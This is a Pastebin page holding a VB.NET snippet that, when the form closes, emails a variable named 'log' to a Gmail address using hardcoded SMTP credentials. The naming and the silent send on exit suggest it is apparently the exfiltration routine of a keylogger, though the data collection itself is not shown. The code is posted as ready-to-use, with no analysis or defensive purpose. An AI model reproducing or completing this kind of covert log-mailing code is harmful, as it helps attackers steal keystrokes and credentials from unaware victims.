Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Private Sub Text_Closing(ByVal sender As Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles MyBase.Closing
- sendmail()
- End Sub
- Private Sub sendmail()
- Try
- Dim SmtpServer As New SmtpClient
- SmtpServer.EnableSsl = True
- Dim mail As New MailMessage
- SmtpServer.Credentials = New Net.NetworkCredential("email@gmail.com", "password")
- SmtpServer.Port = 587
- SmtpServer.Host = "smtp.gmail.com"
- mail = New MailMessage
- mail.From = New MailAddress("email@gmail.com")
- mail.To.Add("email@gmail.com")
- mail.Subject = "log"
- mail.Body = log
- SmtpServer.Send(mail)
- Catch ex As Exception
- Me.Close()
- End Try
- End Sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement